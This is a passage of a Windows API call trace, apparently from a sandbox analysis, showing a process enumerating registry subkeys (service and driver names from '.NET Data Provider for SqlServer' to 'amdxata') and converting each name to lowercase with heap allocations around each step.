lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1928, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0169.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.336] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.337] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0169.337] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.337] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.338] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.338] RegEnumKeyW (in: hKey=0x140, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.338] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0169.338] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.339] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.339] RegEnumKeyW (in: hKey=0x140, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0169.339] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0169.340] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.340] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.340] RegEnumKeyW (in: hKey=0x140, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.341] RegEnumKeyW (in: hKey=0x140, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0169.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0169.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0169.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0169.342] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0169.342] RegEnumKeyW (in: hKey=0x140, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0169.342] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0169.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, 